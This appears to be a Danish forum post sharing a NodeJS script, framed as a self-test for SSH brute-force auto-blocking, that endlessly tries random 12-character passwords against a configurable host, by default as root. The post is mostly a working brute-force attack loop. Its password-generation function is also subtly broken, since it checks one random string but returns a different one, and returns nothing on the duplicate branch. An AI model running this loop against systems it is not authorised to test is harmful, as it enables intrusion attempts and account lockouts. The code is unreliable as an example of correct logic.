Brug denne simpel test til at se om din server tager forhold til bruteforcing.
Scriptet kræver NodeJS, og bibliotek: simple-ssh og randomstring, som kan installeres via
npm install simple-ssh og
npm install randomstring
Kode:
/*
Use this test for seeing the important logs of bruteforce attacks in /var/log/auth.log .
Please use this on own risk!! If your linux box got the security, you might get banned from your own linux box.
Use this as a tester for auto-blocking robots that are trying to bruteforcing into your SSH.
libraries used: simple-ssh and randomstring.
*/
var SSH = require('simple-ssh');
var randomstring = require("randomstring");
var triedOut = [];
var theRandomVariable;
var arrayContains = function(pRandomString){
var i = triedOut.length;
while (i--) {
if (triedOut[i] === pRandomString) {
return true;
}
}
return false;
}
var getRandomPassword = function(){
theRandomVariable = randomstring.generate(12);
if(arrayContains(theRandomVariable)){
console.log("Exists in array " + theRandomVariable);
getRandomPassword();
} else {
return randomstring.generate(12);
}
}
var startSSH = function(){
var aRandomPassword = getRandomPassword();
var ssh = new SSH({
host: '<< HOST IP >>',
port: '<< HOST PORT / DEFAULT 22 >>',
user: '<< HOST USER / DEFAULT ROOT >>',
pass: aRandomPassword,
});
ssh.exec("ls", {
out: function(stdout) {
console.log(stdout);
console.log("Got in! Used password: " + aRandomPassword);
}
}).start();
ssh.on('error', function(err) {
console.log('Did not get in.');
console.log('Tried out: ' + aRandomPassword);
console.log(err);
if(aRandomPassword !== undefined){
triedOut.push(aRandomPassword);
}
ssh.end();
startSSH();
console.log(triedOut.length);
});
}
startSSH();
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